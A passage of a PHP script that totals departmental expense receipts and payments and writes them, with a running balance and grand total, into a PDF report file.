$expn_recp=$row1['fexpnrecp']; $expn_payt=$row1['fexpnpayt']; $expn_recp=number_format((float)$expn_recp,2,'.',''); $expn_payt=number_format((float)$expn_payt,2,'.',''); $totl_recp=$totl_recp+$expn_recp; $totl_payt=$totl_payt+$expn_payt; $totl_baln=$expn_recp-$expn_payt; $curr_baln=$curr_baln+($expn_recp-$expn_payt); $totl_recp=number_format((float)$totl_recp,2,'.',''); $totl_payt=number_format((float)$totl_payt,2,'.',''); $totl_baln=number_format((float)$totl_baln,2,'.',''); $curr_baln=number_format((float)$curr_baln,2,'.',''); $dept_name=get_dept_name($dept_code); $pdf->Cell(10,7,"{$i}",1,0,"C"); $pdf->Cell(80,7,"{$dept_name}",1,0,"L"); $pdf->Cell(25,7,"{$expn_recp}",1,0,"R"); $pdf->Cell(25,7,"{$expn_payt}",1,0,"R"); $pdf->Cell(25,7,"{$curr_baln}",1,0,"R"); $pdf->Cell(25,7,"",1,0,"C"); $pdf->ln();$line_no++; $i++; } $totl_amnt=$totl_payt+$totl_recp; $totl_amnt=number_format((float)$totl_amnt,2,'.',''); $curr_baln=number_format((float)$curr_baln,2,'.',''); $pdf->Cell(90,7,"Grand Total",1,0,"C"); $pdf->Cell(25,7,"{$totl_recp}",1,0,"R"); $pdf->Cell(25,7,"{$totl_payt}",1,0,"R"); $pdf->Cell(25,7,"{$curr_baln}",1,0,"R"); $pdf->Cell(25,7,"",1,0,"C"); $pdf->ln();$line_no++; $resp_file='reports/expense_summary_total.pdf'; $pdf->output($resp_file,'F'); } if($rept_type==4) { } echo json_encode(array("mesg"=>$resp_mesg, "stat"=>$resp_stat, "file"=>$resp_file)); } ?>
Close